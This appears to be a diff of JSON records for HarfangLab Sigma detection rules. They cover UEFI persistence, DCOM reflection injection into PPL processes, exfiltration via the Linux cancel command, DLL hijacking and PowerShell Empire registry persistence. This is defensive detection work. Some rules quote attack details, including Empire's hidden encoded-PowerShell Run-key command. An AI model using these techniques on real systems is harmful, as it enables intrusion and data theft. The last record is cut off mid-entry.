+  "content": "title: Possible UEFI Persistence via wppbin.exe Detected\nid: ed5d6af8-fae2-413c-8d87-95346a6aa412\ndescription: |\n    Detects the creation of wpbbin.exe executable file in the System32 folder, which can be indicative of UEFI persistence.\n    wpbbin.exe is file placed by the BIOS in System32 and is executed by smss.exe during OS startup.\n    Malicious actors can use this feature as a persistence mechanism by putting a malicious wpbbin.exe that will be executed at the next startup.\n    It is recommended to investigate the wpbbin.exe binary to determine its legitimacy as well as to look for other suspicious behavior associated with this process.\nreferences:\n    - https://persistence-info.github.io/Data/wpbbin.html\n    - https://attack.mitre.org/techniques/T1542/001/\ndate: 2022/07/20\nmodified: 2025/02/17\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1542.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path: '?:\\Windows\\System32\\wpbbin.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ed5d6af8-fae2-413c-8d87-95346a6aa412",
+  "rule_name": "Possible UEFI Persistence via wppbin.exe Detected",
+  "rule_description": "Detects the creation of wpbbin.exe executable file in the System32 folder, which can be indicative of UEFI persistence.\nwpbbin.exe is file placed by the BIOS in System32 and is executed by smss.exe during OS startup.\nMalicious actors can use this feature as a persistence mechanism by putting a malicious wpbbin.exe that will be executed at the next startup.\nIt is recommended to investigate the wpbbin.exe binary to determine its legitimacy as well as to look for other suspicious behavior associated with this process.\n",
+  "rule_creation_date": "2022-07-20",
+  "rule_modified_date": "2025-02-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1542.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ed5f37fa-eb11-49c8-b955-c916c6bb9c47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621901Z",
+  "creation_date": "2026-03-23T11:45:34.621903Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621907Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://googleprojectzero.blogspot.com/2025/01/windows-bug-class-accessing-trapped-com.html",
+    "https://mohamed-fakroud.gitbook.io/red-teamings-dojo/abusing-idispatch-for-trapped-com-object-access-and-injecting-into-ppl-processes",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_dotnet_dcomreflection_enabled_via_registry.yml",
+  "content": "title: .NET DCOM Reflection Enabled via Registry\nid: ed5f37fa-eb11-49c8-b955-c916c6bb9c47\ndescription: |\n    Detects DCOM reflection enabled using the Registry.\n    James Forshaw from Google Project Zero discovered a vulnerability in how certain COM servers, particularly those implementing the IDispatch interface, allow the creation of arbitrary objects within the process.\n    By manipulating registry keys to enable DCOM reflection and redirect COM activation, the system is tricked into treating a legacy COM class (StdFont) as a .NET System.Object, effectively bridging the native and managed worlds.\n    This can be used in order to inject arbitrary .NET code into Protected Process Light (PPL) processes.\n    It is recommended to investigate the process that set this registry value and its process tree.\nreferences:\n    - https://googleprojectzero.blogspot.com/2025/01/windows-bug-class-accessing-trapped-com.html\n    - https://mohamed-fakroud.gitbook.io/red-teamings-dojo/abusing-idispatch-for-trapped-com-object-access-and-injecting-into-ppl-processes\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2025/03/03\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\AllowDCOMReflection'\n        Details: 'DWORD (0x00000001)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ed5f37fa-eb11-49c8-b955-c916c6bb9c47",
+  "rule_name": ".NET DCOM Reflection Enabled via Registry",
+  "rule_description": "Detects DCOM reflection enabled using the Registry.\nJames Forshaw from Google Project Zero discovered a vulnerability in how certain COM servers, particularly those implementing the IDispatch interface, allow the creation of arbitrary objects within the process.\nBy manipulating registry keys to enable DCOM reflection and redirect COM activation, the system is tricked into treating a legacy COM class (StdFont) as a .NET System.Object, effectively bridging the native and managed worlds.\nThis can be used in order to inject arbitrary .NET code into Protected Process Light (PPL) processes.\nIt is recommended to investigate the process that set this registry value and its process tree.\n",
+  "rule_creation_date": "2025-03-03",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ed648faa-53a0-4b80-970f-0d08b4d025ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087592Z",
+  "creation_date": "2026-03-23T11:45:34.087594Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087601Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://gtfobins.github.io/gtfobins/cancel/",
+    "https://attack.mitre.org/techniques/T1048/"
+  ],
+  "name": "t1048_cancel_exfilt_lolbin.yml",
+  "content": "title: Possible Data Exfiltration via Cancel\nid: ed648faa-53a0-4b80-970f-0d08b4d025ca\ndescription: |\n    Detects an attempt to send a file through the network using the cancel command.\n    Cancel is a Linux command that is used to cancel print jobs by sending an HTTP request with a custom user.\n    Attackers can exploit this by using this HTTP request and replacing the user with the data they want to exfiltrate.\n    It is recommended to verify if the address specified in the request is a legitimate print job handler.\nreferences:\n    - https://gtfobins.github.io/gtfobins/cancel/\n    - https://attack.mitre.org/techniques/T1048/\ndate: 2023/06/29\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.exfiltration\n    - attack.t1048\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Cancel\n    - classification.Linux.Behavior.Exfiltration\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_image:\n        ProcessImage|endswith: '/cancel'\n        CommandLine|contains: ' -u '\n\n    selection_host:\n        CommandLine|contains:\n            - ' -h *:??'\n            - ' -h *:???'\n            - ' -h *:????'\n            - ' -h *:?????'\n\n    condition: all of selection_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ed648faa-53a0-4b80-970f-0d08b4d025ca",
+  "rule_name": "Possible Data Exfiltration via Cancel",
+  "rule_description": "Detects an attempt to send a file through the network using the cancel command.\nCancel is a Linux command that is used to cancel print jobs by sending an HTTP request with a custom user.\nAttackers can exploit this by using this HTTP request and replacing the user with the data they want to exfiltrate.\nIt is recommended to verify if the address specified in the request is a legitimate print job handler.\n",
+  "rule_creation_date": "2023-06-29",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "eda4c668-8c9e-41ea-801f-e3bd359382b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605654Z",
+  "creation_date": "2026-03-23T11:45:34.605658Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605665Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1201/"
+  ],
+  "name": "t1201_net_accounts.yml",
+  "content": "title: Password Policy Discovered via net accounts\nid: eda4c668-8c9e-41ea-801f-e3bd359382b4\ndescription: |\n    Detects the execution of net.exe to discover the local accounts configuration, including password policy configuration.\n    This activity may indicate a potential security threat or malicious behavior.\n    It is recommended to investigate the parent processes for other suspicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1201/\ndate: 2022/12/02\nmodified: 2025/10/27\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1201\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\net1.exe'\n        - OriginalFileName: 'net1.exe'\n\n    selection_cmd:\n        CommandLine|contains: ' accounts'\n        # Filter-out missing parents\n        ParentImage|contains: '?'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '|?:\\Windows\\System32\\wsmprovhost.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|'\n            - '|?:\\Windows\\System32\\wbem\\WmiPrvSE.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|'\n            - '?:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseIR.exe'\n            - '\\CyberwatchAgent\\cyberwatch-agent.exe'\n            - '?:\\Windows\\AdminArsenal\\PDQInventory-Scanner\\service-?\\PDQInventory-Scanner-?.exe'\n            - '?:\\Windows\\AdminArsenal\\PDQDeployRunner\\service-?\\PDQDeployRunner-?.exe'\n            - '?:\\Program Files (x86)\\wapt\\waptpython.exe'\n            - '?:\\Program Files (x86)\\wapt\\waptservice.exe'\n            - '?:\\Program Files (x86)\\CyberCNSAgent\\cybercnsagent.exe'\n            - '?:\\Program Files\\pandora_agent\\util\\pandora_hardening.exe'\n            - '?:\\Program Files (x86)\\Microsoft Intune Management Extension\\AgentExecutor.exe'\n            - '?:\\Windows\\System32\\taskeng.exe'\n\n    exclusion_defender:\n        GrandparentImage: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        GrandparentCommandLine|contains|all:\n            - ' -Command & {$OutputEncoding = [Console]::OutputEncoding =[System.Text.Encoding]::UTF8;$scriptFileStream = [System.IO.File]::Open('\n            - '[System.IO.FileMode]::Open, [System.IO.FileAccess]::Read'\n            - '::Read);$calculatedHash = Get-FileHash'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\DataCollection\\'\n\n    exclusion_defender_no_parent:\n        CurrentDirectory:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads\\'\n        IntegrityLevel: 'System'\n\n    exclusion_wazuh:\n        GrandparentImage: '?:\\Program Files (x86)\\ossec-agent\\wazuh-agent.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "eda4c668-8c9e-41ea-801f-e3bd359382b4",
+  "rule_name": "Password Policy Discovered via net accounts",
+  "rule_description": "Detects the execution of net.exe to discover the local accounts configuration, including password policy configuration.\nThis activity may indicate a potential security threat or malicious behavior.\nIt is recommended to investigate the parent processes for other suspicious activities.\n",
+  "rule_creation_date": "2022-12-02",
+  "rule_modified_date": "2025-10-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1201"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "edbcd2f2-a49b-47c3-818f-df7d306a6041",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077292Z",
+  "creation_date": "2026-03-23T11:45:34.077294Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077298Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_deploymentcsphelper.yml",
+  "content": "title: DLL Hijacking via deploymentcsphelper.exe\nid: edbcd2f2-a49b-47c3-818f-df7d306a6041\ndescription: |\n    Detects potential Windows DLL Hijacking via deploymentcsphelper.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image|endswith: '\\deploymentcsphelper.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dbgcore.DLL'\n            - '\\dbghelp.dll'\n            - '\\DismApi.DLL'\n            - '\\WDSCORE.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "edbcd2f2-a49b-47c3-818f-df7d306a6041",
+  "rule_name": "DLL Hijacking via deploymentcsphelper.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via deploymentcsphelper.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ede63422-8007-49b4-a36f-8bfc8a82cc7c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076698Z",
+  "creation_date": "2026-03-23T11:45:34.076700Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076704Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/EmpireProject/Empire/blob/master/lib/modules/powershell/persistence/userland/registry.py",
+    "https://medium.com/@brsdncr/forensic-investigation-operations-windows-base-iii-64a7afec9f69",
+    "https://attack.mitre.org/techniques/T1547/001/"
+  ],
+  "name": "t1547_001_empire_powershell_registry_elevated_persistence.yml",
+  "content": "title: PowerShell Empire Elevated Registry Persistence Added\nid: ede63422-8007-49b4-a36f-8bfc8a82cc7c\ndescription: |\n    Detects suspicious registry persistences in the local machine software hive that are related to Empire Attack Framework.\n    Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent.\n    It is recommended to investigate the process that set the registry value for suspicious activities as well as to look for the registry modification to understand the objective of this persistence.\nreferences:\n    - https://github.com/EmpireProject/Empire/blob/master/lib/modules/powershell/persistence/userland/registry.py\n    - https://medium.com/@brsdncr/forensic-investigation-operations-windows-base-iii-64a7afec9f69\n    - https://attack.mitre.org/techniques/T1547/001/\ndate: 2020/10/14\nmodified: 2025/02/17\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.t1547.001\n    - attack.t1059.001\n    - attack.t1112\n    - attack.s0363\n    - classification.Windows.Source.Registry\n    - classification.Windows.Framework.Empire\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\\*'\n\n    # by default, this is \"Updater\" value with this content:\n    # \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=$((gp HKLM:Software\\Microsoft\\Windows\\CurrentVersion Debug).Debug);powershell -Win Hidden -enc $x\"\n    selection_variant1:\n        TargetObject|endswith: 'Updater'\n        Details|contains: 'powershell -Win Hidden -enc '\n    selection_variant2:\n        Details|contains|all:\n            - '((gp '\n            - 'powershell -Win Hidden -enc '\n\n    condition: selection and 1 of selection_variant*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ede63422-8007-49b4-a36f-8bfc8a82cc7c",
+  "rule_name": "PowerShell Empire Elevated Registry Persistence Added",
+  "rule_description": "Detects suspicious registry persistences in the local machine software hive that are related to Empire Attack Framework.\nEmpire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent.\nIt is recommended to investigate the process that set the registry value for suspicious activities as well as to look for the registry modification to understand the objective of this persistence.\n",
+  "rule_creation_date": "2020-10-14",
+  "rule_modified_date": "2025-02-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1112",
+    "attack.t1547.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "edfb92d9-828d-42c7-8a38-430fe250a841",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078760Z",
+  "creation_date": "2026-03-23T11:45:34.078762Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078767Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_filescrn.yml",
+  "content": "title: DLL Hijacking via filescrn.exe\nid: edfb92d9-828d-42c7-8a38-430fe250a841\ndescription: |\n    Detects potential Windows DLL Hijacking via filescrn.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'filescrn.exe'\n        ImageLoaded|endswith:\n            - '\\atl.dll'\n            - '\\mfc42u.dll'\n            - '\\srmtrace.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "edfb92d9-828d-42c7-8a38-430fe250a841",
+  "rule_name": "DLL Hijacking via filescrn.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via filescrn.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ee3dd02e-2672-4db4-bb60-1bc934cf1de4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621457Z",
+  "creation_date": "2026-03-23T11:45:34.621458Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621463Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/1ZRR4H/status/1575364104822444032",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_disable_cmd.yml",
